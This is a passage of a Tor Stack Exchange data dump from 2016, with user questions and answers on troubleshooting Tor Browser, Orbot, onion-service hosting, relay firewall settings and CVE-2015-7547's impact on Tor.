  <row Id="9663" PostTypeId="1" CreationDate="2016-02-16T13:43:10.247" Score="1" ViewCount="400" Body="&lt;p&gt;Please help me! Tor gets as far as establishing a circuit, then fails. It says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor failed to establish a Tor network connection.&#xA;&#xA;Establishing a Tor circuit failed (connection timeout - 161.53.160.104:9090).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This s what the log looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2/16/2016 8:35:13 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/16/2016 8:35:14 AM.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/16/2016 8:35:14 AM.400 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;2/16/2016 8:36:42 AM.600 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;2/16/2016 8:37:59 AM.400 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 6DFEB41C04CCE846871338E85DD5ACF5CFB6C1DD at 192.42.115.102:9004) &#xA;2/16/2016 8:37:59 AM.400 [WARN] 9 connections have failed: &#xA;2/16/2016 8:37:59 AM.400 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;2/16/2016 8:37:59 AM.400 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/16/2016 8:38:21 AM.400 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn; host C80EAE6D0B1FB69785002829E02DCC3E35539A60 at 192.241.180.163:9001) &#xA;2/16/2016 8:38:21 AM.400 [WARN] 10 connections have failed: &#xA;2/16/2016 8:38:21 AM.400 [WARN]  8 connections died in state connect()ing with SSL state (No SSL object) &#xA;2/16/2016 8:38:21 AM.400 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11839" LastEditorUserId="8197" LastEditDate="2016-02-17T10:15:57.543" LastActivityDate="2016-04-19T02:32:53.943" Title="Tor failed to establish a Tor network connection" Tags="|tor-browser-bundle|help|circuit|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2016-06-15T06:49:26.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="9665" PostTypeId="1" AcceptedAnswerId="9667" CreationDate="2016-02-16T20:34:24.773" Score="6" ViewCount="1279" Body="&lt;p&gt;I downloaded Orbot on my tablet and I've been reading about the Tor network and I looked up &quot;Is running Tor illegal in the U.S.&quot;. I found out about exit-relays and the Orbot app said something about exit relays when I set it up. Does just running Orbot mean I am running an exit relay?&lt;/p&gt;&#xA;" OwnerUserId="11891" OwnerDisplayName="user101488" LastEditorUserId="11845" LastEditDate="2016-02-17T10:16:15.783" LastActivityDate="2016-02-17T10:16:15.783" Title="Does running Orbot mean I am running a Tor exit relay?" Tags="|exit-relays|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9667" PostTypeId="2" ParentId="9665" CreationDate="2016-02-16T21:34:50.053" Score="5" Body="&lt;p&gt;No. By default, Orbot will not run a relay/exit/bridge. You may have seen one of the circuits Orbot built, which show the path your data will go through when using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have changed your settings to become a Tor relay, you should be okay.&lt;/p&gt;&#xA;" OwnerUserId="11845" LastActivityDate="2016-02-16T21:34:50.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9669" PostTypeId="1" CreationDate="2016-02-17T14:05:14.963" Score="3" ViewCount="92" Body="&lt;p&gt;If this is critically impacting Tails, for example, why hasn't there been an immediate upgrade to apply the patch?&lt;/p&gt;&#xA;" OwnerUserId="11849" LastActivityDate="2016-02-17T16:19:41.497" Title="How is CVE-2015-7547 impacting Tor/Tails/Tor Browser?" Tags="|tor-browser-bundle|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9670" PostTypeId="1" CreationDate="2016-02-17T15:20:20.850" Score="1" ViewCount="490" Body="&lt;p&gt;(I know there are a lot of questions regarding VPN+Tor. This is a bit different.)&lt;/p&gt;&#xA;&lt;p&gt;I use a VPN to connect to the internet for multiple reasons, mostly to encrypt my traffic on local networks, e.g. public wifi. The VPN is on a dedicated server I own and runs a Linux distribution I fully control. I am the only one to have access to that server.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that my VPN IP address is strongly linked with my identity: the IP address is linked (with direct and reverse DNS) to a domain name related to my name (e.g. john-doe.com). So whenever I use my VPN the website I visit can know my identity. Thus all my online activities can be linked (and easily, just with my IP) to my real identity.&lt;/p&gt;&#xA;&lt;p&gt;I could remove the DNS information but it's useful for various services I use on that server.&lt;/p&gt;&#xA;&lt;p&gt;I could also set up a fresh server with no DNS name but in that case it would still be possible to track me (with more efforts) by contacting the server hoster which has my payment data.&lt;/p&gt;&#xA;&lt;p&gt;My idea is to use Tor on that server so all internet from the VPN connection would be routed by Tor. Will it be a good idea? How to do that? Should I use a fresh server with no DNS information or I will be safe with my current VPN?&lt;/p&gt;&#xA;" OwnerUserId="11850" LastEditorUserId="3508" LastEditDate="2021-01-26T15:12:03.883" LastActivityDate="2021-01-26T15:12:03.883" Title="Me -&gt; My own VPN -&gt; Tor" Tags="|vpn|openvpn|server-administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9671" PostTypeId="2" ParentId="9670" CreationDate="2016-02-17T15:59:04.943" Score="0" Body="&lt;p&gt;It will be safe with your current VPN in case if you'll set up an exit node with a good speed and access permissions : the traffic stream will be constant and solid. It would be almost impossible to separate your traffic from exited via the exit node you've made. If you need an assistance - just say it, I'll help you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-17T15:59:04.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9672" PostTypeId="2" ParentId="9669" CreationDate="2016-02-17T16:03:07.957" Score="0" Body="&lt;p&gt;It does not affects the software, but &lt;em&gt;the shared library is affected&lt;/em&gt;. I'm using &lt;a href=&quot;http://clang.llvm.org/&quot; rel=&quot;nofollow&quot;&gt;CLang&lt;/a&gt;, for example, and not affected by it at all =) Take a look &lt;a href=&quot;https://github.com/fjserna/CVE-2015-7547&quot; rel=&quot;nofollow&quot;&gt;at the Proof of Concept here&lt;/a&gt; and check if you're vulnerable&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-17T16:03:07.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9673" PostTypeId="2" ParentId="9669" CreationDate="2016-02-17T16:19:41.497" Score="2" Body="&lt;p&gt;Nick Mathewson wrote a &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2016-February/040280.html&quot; rel=&quot;nofollow&quot;&gt;mail&lt;/a&gt; to the &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/&quot; rel=&quot;nofollow&quot;&gt;tor-talk mailing list&lt;/a&gt; and analysed the situation. He wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor never uses glibc's resolver to make DNS requests for any&#xA;  attacker-controlled addresses. So in order to mount an attack based on&#xA;  the this vulnerability, I think you'd need to successfully take over&#xA;  one of somebody's configured addresses, first by figuring out what&#xA;  they're resolving, and then either by compromising an appropriate DNS&#xA;  server or running an appropriate DNS cache poisoning attack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in short it seems quite hard to attack Tor with this vulnerability.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-02-17T16:19:41.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9674" PostTypeId="2" ParentId="9479" CreationDate="2016-02-17T17:11:30.090" Score="0" Body="&lt;p&gt;The thing is, that when you're changing bridge type, the Tor node needs to re-announce itself. Try to play with theese options, see details in &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ExtORPort&lt;/code&gt; - it helps to use pluggable transports explicitly&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ConnLimit&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; your OS fd limit, in Linux it's &lt;code&gt;ulimit -n&lt;/code&gt; output. The more connections you can make - the more connectivity you will have&lt;/li&gt;&#xA;&lt;li&gt;IPv6/IPv4 coexistance : sometimes if you're using IPv4 to reach an outer internet, you need to &lt;strong&gt;completely disable&lt;/strong&gt; IPv6 on sysctl level and when compiling libraries. The core of the problem is that some dual-homed hosts are resolved/mapped to IPv&lt;strong&gt;6&lt;/strong&gt; and the software stack tries to use it. If you have only IPv4 address - try to disable the IPv6 completely : somtimes it speeds up twice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-17T17:11:30.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9675" PostTypeId="1" CreationDate="2016-02-18T08:35:34.667" Score="0" ViewCount="3783" Body="&lt;p&gt;I used the Vidalia bundle but am unable to access internet with the Tor browser.  Please help me configure the settings (I don't exactly know how the Tor browser or Vidalia work, so the more information the better).&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11855" LastEditorUserId="9638" LastEditDate="2016-02-19T21:39:40.227" LastActivityDate="2016-02-25T03:30:46.270" Title="Tor browser not working in college (which uses proxy server)" Tags="|tor-browser-bundle|configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9677" PostTypeId="2" ParentId="9675" CreationDate="2016-02-18T08:44:41.017" Score="1" Body="&lt;p&gt;You need to configure your tor browser to use the proxy of your university to access the internet. Therefore, open the &lt;code&gt;Tor Network Settings&lt;/code&gt; and select the second field: &quot;This computer needs to use a local proxy to access the Internet&quot;.&#xA;However: This might compromise your anonymity in the first place, e. g. if you have to login with university credentials. Please inform yourself about risks, problems and pitfalls, this might producde.&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2016-02-18T08:44:41.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9679" PostTypeId="2" ParentId="6626" CreationDate="2016-02-18T10:48:43.423" Score="4" Body="&lt;p&gt;You can rewrite meek in php.&lt;br&gt;&#xA;But it's too complicated.&lt;br&gt;&#xA;There is a simple way to run a relay, just function like a meek server.&lt;br&gt;&#xA;Here are code:&lt;br&gt;&#xA;&lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/meek.git/tree/php/index.php&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/pluggable-transports/meek.git/tree/php/index.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11856" LastActivityDate="2016-02-18T10:48:43.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9680" PostTypeId="1" CreationDate="2016-02-18T11:22:30.467" Score="1" ViewCount="1136" Body="&lt;p&gt;Ok, so my operating system is Windows 8, Vidalia Tor Browser Bundle Control, and XAMPP server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done the following steps with no success at getting more than one service running, and many times my efforts to my one working service going down as well. Here' what I've done so far...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I changed the doc root in Apache's httpd.conf file &lt;code&gt;C:\xampp\apache\conf\httpd.conf&lt;/code&gt;. Similar to this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DocumentRoot &quot;C:/xampp/htdocs/myproject1&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Went to &lt;code&gt;C:\xampp\apache\conf\httpd.conf&lt;/code&gt; and told Apache to listen to multiple ports, replace that with below content&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;101&quot;&gt;&#xA;&lt;li&gt;Listen 80&lt;/li&gt;&#xA;&lt;li&gt;Listen 8001&lt;/li&gt;&#xA;&lt;li&gt;Listen 8002&lt;/li&gt;&#xA;&lt;li&gt;Listen 8003&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I added the following files to my &lt;code&gt;C://xampp/htdocs&lt;/code&gt; folder: myproject1, store, store1, store2, store3, and store4. I also saved different colored basic HTML templates to each folder saved as &quot;index.html&quot; so they'd all have a different home page if I got it too work by any chance. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then  I opened &quot;Settings&quot; in Vidalia and then clicked the &quot;Services&quot; tab and added six services, in which I made target for each 127.0.0.1, for &quot;Port&quot; I defined the following #1-80, #2-8000, #3-8001, #4-8002, #5-8003, and #6-8004, and I created six new folders in my &quot;C://Users/Me&quot; directory [[#1-&quot;myproject1&quot;, #2-&quot;store&quot;, #3-&quot;store1&quot;, #4-&quot;store2&quot;, #5-&quot;store3&quot;, and #6-&quot;store4&quot;]] in which I defined &quot;Directory Path&quot; of each service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the services I created in Vidalia settings w/ domains:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#1|wjjk36dllny3ghdn.onion|Port: 80|Path: C://Users/Me/myproject1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#2|am2nx7kbu2drhtdr.onion|Port: 8000|Path: C://Users/Me/store  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#3|toxk66hmbjwuwkva.onion|Port: 8001|Path: C://Users/Me/store1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#4|q74aww7ypl6gaok3.onion|Port: 8002|Path: C://Users/Me/store2  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#5|aps56zfyup2pwxl5.onion|Port: 8003|Path: C://Users/Me/store3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#6|dqt25doh3u5nutor.onion|Port: 8004|Path: C://Users/Me/store4  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[#1-6 Target: 127.0.0.1]  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then went to “C:\xampp\apache\conf\extra\httpd-vhosts.conf”, and added to following to the bottom and saved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerAdmin postmaster@dummy-host.localhost&#xA;DocumentRoot &quot;C:/xampp/htdocs/store1&quot;&#xA;ServerName localhost:8000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerAdmin postmaster@dummy-host.localhost&#xA;DocumentRoot &quot;C:/xampp/htdocs/store1&quot;&#xA;ServerName localhost:8001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerAdmin postmaster@dummy-host.localhost&#xA;DocumentRoot &quot;C:/xampp/htdocs/store2&quot;&#xA;ServerName localhost:8002&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerAdmin postmaster@dummy-host.localhost&#xA;DocumentRoot &quot;C:/xampp/htdocs/store3&quot;&#xA;ServerName localhost:8003&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerAdmin postmaster@dummy-host.localhost&#xA;DocumentRoot &quot;C:/xampp/htdocs/store4&quot;&#xA;ServerName localhost:8004&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Please tell me whatever i am missing (in english please i'm not stupid i'm just young and still have a ton to learn). If your instructions get to me where I can host the 6 services from my server and know where the location of each service's root so that way I can begin coding my sites then please also leave a bitcoin address if you want coffee. Been trying to figure this out for a century so I owe ya more than coffee..&lt;/p&gt;&#xA;" OwnerUserId="11857" LastEditorUserId="17825" LastEditDate="2017-06-12T22:54:07.403" LastActivityDate="2017-06-12T22:54:07.403" Title="How to host multiple hidden services with XAMPP or Apache?" Tags="|onion-services|vidalia|server|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9692" PostTypeId="2" ParentId="4587" CreationDate="2016-02-20T14:38:54.003" Score="2" Body="&lt;p&gt;In the &lt;code&gt;torrc&lt;/code&gt; file set &lt;code&gt;RunAsDaemon 1&lt;/code&gt;.&#xA;and after uncomment this &lt;code&gt;ControlPort 9051&lt;/code&gt;&#xA;and #HashedControlPassword after no message of error in arm.&lt;/p&gt;&#xA;" OwnerUserId="11880" LastEditorUserId="88" LastEditDate="2016-02-29T22:38:44.170" LastActivityDate="2016-02-29T22:38:44.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9695" PostTypeId="2" ParentId="9641" CreationDate="2016-02-21T05:02:18.153" Score="0" Body="&lt;p&gt;I wonder if your ISP is on a black list? If that is a possibility, I wonder if using a web proxy service such as dynamic DNS could get you past the gate guardians?&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-02-21T05:02:18.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9696" PostTypeId="1" CreationDate="2016-02-21T05:17:19.757" Score="1" ViewCount="501" Body="&lt;p&gt;Is there a downloadable application that will put a Tor node traffic monitor visual on my screen? Even just a go/no go activity level? I am still on about how much access and/or control the exit node owner can potentially have considering that I understand that the whole raison d'etre for Tor is complete (or as complete as possible) privacy for the user.&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-03-22T12:43:45.387" Title="Traffic monitoring with Tor" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9699" PostTypeId="2" ParentId="9696" CreationDate="2016-02-21T10:42:18.130" Score="2" Body="&lt;p&gt;You can start with &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt; and here&lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt; Arm project site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-21T10:42:18.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9700" PostTypeId="2" ParentId="6198" CreationDate="2016-02-21T11:54:10.570" Score="0" Body="&lt;p&gt;Try to install tor as NT service &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#NTService&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#NTService&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For you &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;G:\TOR-0.2.5.10\Tor\tor.exe --service install -options -f G:/TOR-0.2.5.10/Tor/torrc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11898" LastActivityDate="2016-02-21T11:54:10.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9701" PostTypeId="1" CreationDate="2016-02-21T12:51:10.880" Score="1" ViewCount="1347" Body="&lt;p&gt;I am developing new android app which should use tor network. First I think it would be easy, just download Orbot and configure it to route my app to tor network. Then I realize that I couldn't do that without root privileges. I could do that if I configure example wifi network use localhost and 8118, but then it will route all traffic and Orbot should be running too. I just want to set up my app to use TOR with Orbot so is it possible without root privileges? Any help will be priceless!&lt;/p&gt;&#xA;" OwnerUserId="11899" LastActivityDate="2023-06-14T02:02:10.237" Title="Orbot proxy app without root" Tags="|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9702" PostTypeId="1" CreationDate="2016-02-21T17:37:35.783" Score="1" ViewCount="210" Body="&lt;p&gt;I trying to set-up a tor middle relay on Azure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've an Ubuntu instance, tor is all installed and has bootstrapped fine, but it won't form a circuit and the ORPort is unreachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is a firewall issue, and digging around on portal.azure.com I found the instances security rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got a good how-to for setting the MS Azure rules up? failing that what ports do I need open (is it just the ORPort and 9050?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerDisplayName="user5416" LastActivityDate="2016-05-18T07:48:08.800" Title="Azure &quot;security rules&quot; for tor-middle node" Tags="|middle|firewall|" AnswerCount="0" CommentCount="2" ClosedDate="2016-05-18T09:44:13.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="9704" PostTypeId="2" ParentId="9084" CreationDate="2016-02-21T18:27:51.947" Score="0" Body="&lt;p&gt;You can open Torbrowser without sudo (running a web browser as root is a bad idea), but you have to invoke it explicitly: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Applications/TorBrowser.app/Contents/MacOS&#xA;./firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11901" LastActivityDate="2016-02-21T18:27:51.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9709" PostTypeId="2" ParentId="7498" CreationDate="2016-02-21T22:49:34.140" Score="0" Body="&lt;p&gt;Javascript won't make difference in network terms, however, it will make your computer more vulnerable to attacks. Chatting through Tor is not really a good option, because the exit node can monitor into your traffic, so the best bet would be always use HTTPS and also use GPG&lt;/p&gt;&#xA;" OwnerUserId="11907" LastActivityDate="2016-02-21T22:49:34.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9710" PostTypeId="2" ParentId="9701" CreationDate="2016-02-21T22:53:06.877" Score="0" Body="&lt;p&gt;Properly implement SOCKS5 in your app (by properly I meanusing remote hostname lookup otherwise you risk the possibility of leaking DNS), this by default runs on port 9050 (on localhost).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orbot also provides an HTTP proxy on port 8118, but I think you should prefer SOCKS5. (It's simpler and less likely to break in unexpected ways).&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:34:03.700" LastActivityDate="2016-03-03T16:34:03.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9711" PostTypeId="1" CreationDate="2016-02-21T23:26:20.390" Score="2" ViewCount="78" Body="&lt;p&gt;I open TOR with a bridge to a foreign country.  During use when I opened a new tab the bridge switched to USA.  I never saw this happen before. Is it suspicious or normal activity?&lt;/p&gt;&#xA;" OwnerUserId="3495" LastActivityDate="2016-05-07T03:06:38.637" Title="TOR switched bridges" Tags="|relays|circuit|bridge|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9712" PostTypeId="1" AcceptedAnswerId="9713" CreationDate="2016-02-22T13:01:48.473" Score="0" ViewCount="46" Body="&lt;p&gt;Let's say you have a message. Does it include the number of hops it has passed through? If no, what is stopping it from just being passed around indefinitely and never reaching an exit node? If yes, does this mean the first node it is passed to knows the originator, and if malicious would send it strait to an exit node and watch the exit nodes traffic? &lt;/p&gt;&#xA;" OwnerUserId="8100" LastActivityDate="2016-03-23T14:19:46.657" Title="Does a tor message keep track of number of nodes it's gone through?" Tags="|relays|exit-relays|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9713" PostTypeId="2" ParentId="9712" CreationDate="2016-02-22T14:16:58.113" Score="1" Body="&lt;p&gt;The circuit path is decided in advance, before the message is created. During circuit creation, the number of nodes through which the circuit can pass &lt;a href=&quot;https://tor.stackexchange.com/a/8687/1730&quot;&gt;is limited to 8&lt;/a&gt;. This limitation prevents somebody altering the Tor code - which is open-source and readily cloneable from GitHub - from increasing the number of default hops from 3 to something very large, thereby preventing congestion attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the message is created and sent, it sticks to the route that has been decided in advance.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-22T14:16:58.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9715" PostTypeId="1" AcceptedAnswerId="9718" CreationDate="2016-02-22T20:24:31.060" Score="1" ViewCount="138" Body="&lt;h2&gt;I've been hunting around trying to figure out why Onion-Py is throwing this error. I had a fresh install and running python 2.7&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;onion_py.manager.MajorVersionMismatchError: Received OnionOO document with version 3, this library only supports up to version 2.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Anyone else encounter this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z3u6y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3u6y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7282" LastEditorUserId="7282" LastEditDate="2016-02-23T14:31:27.523" LastActivityDate="2016-02-23T15:13:11.307" Title="Version Mismatch Error with Onion-Py Library" Tags="|onion-routing|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9717" PostTypeId="2" ParentId="9084" CreationDate="2016-02-22T22:36:56.880" Score="1" Body="&lt;p&gt;Put the TorBrowser.app into your /Users/xxxx/Applications folder and it should work fine.  This will be easier than messing with the Group ID.&lt;/p&gt;&#xA;" OwnerUserId="11918" LastActivityDate="2016-02-22T22:36:56.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9718" PostTypeId="2" ParentId="9715" CreationDate="2016-02-23T02:04:04.580" Score="1" Body="&lt;p&gt;You need to figure out a way to ensure you are running Python 2.7 and try again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely you aren't using python 2.7 like you think you are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check python from command line by typing &lt;code&gt;python --version&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to make sure login to Python command line by typing &lt;code&gt;python&lt;/code&gt; and see what version it spits out in the welcome message and type &lt;code&gt;exit()&lt;/code&gt; to exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you confirm you are running 2.7x then install onionpy via pip: &lt;code&gt;pip install onionpy&lt;/code&gt;. Also make sure you have Tor running, or onionpy will malfunction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a test (should return summary of current relays)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from onion_py.manager import Manager&#xA;from onion_py.caching import OnionSimpleCache&#xA;manager = Manager(OnionSimpleCache())&#xA;s = manager.query('summary', limit=4)&#xA;print s.relays[0].fingerprint&#xA;print s.relays[0].nickname&#xA;exit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="9508" LastEditDate="2016-02-23T15:13:11.307" LastActivityDate="2016-02-23T15:13:11.307" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9719" PostTypeId="2" ParentId="9675" CreationDate="2016-02-23T02:15:33.920" Score="0" Body="&lt;p&gt;Turn on bridges mode in browser settings. It was designed for this specific scenario. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the link that includes all the requested walkthroughs, screenshots, and other &lt;em&gt;stuff&lt;/em&gt; you wanted for the answer from The Tor Project itself.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="9508" LastEditDate="2016-02-25T03:30:46.270" LastActivityDate="2016-02-25T03:30:46.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9721" PostTypeId="1" CreationDate="2016-02-23T04:53:05.547" Score="1" ViewCount="405" Body="&lt;p&gt;I want to use a android VM linked to a whonix gateway. I followed the tutorial as described here:&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems#Whonix-Android-Workstation&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Other_Operating_Systems#Whonix-Android-Workstation&lt;/a&gt;&#xA;The installing and changing dhcpd.conf goes fine (I think), and I double checked the dhcpd.conf too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run ''sudo dpkg-reconfigure isc-dhcp-server'' I can set the interface to eth1, but after that I get this:&#xA;''Job for isc-dhcp-server.service failed. See 'systemctl status isc-dhcp-server.service' and 'journalctl -xn' for details.&#xA;invoke-rc.d: initscript isc-dhcp-server, action ''start'' failed.''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried in several versions of the gateway. I suspect doing something wrong in the dhcpd.conf file, I deleted everything that was in it and replaced with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option domain-name &quot;whonix&quot;;&#xA;option domain-name-servers 10.152.152.10;&#xA;subnet 10.152.128.0 netmask 255.255.192.0 {&#xA;        range 10.152.152.12 10.152.152.15;&#xA;        option subnet-mask 255.255.192.0;&#xA;        option broadcast-address 10.152.191.255;&#xA;        option routers 10.152.152.10;&#xA;}&#xA;default-lease-time 600;&#xA;max-lease-time 7200;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help since I have been looking online for solution for hours now..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" 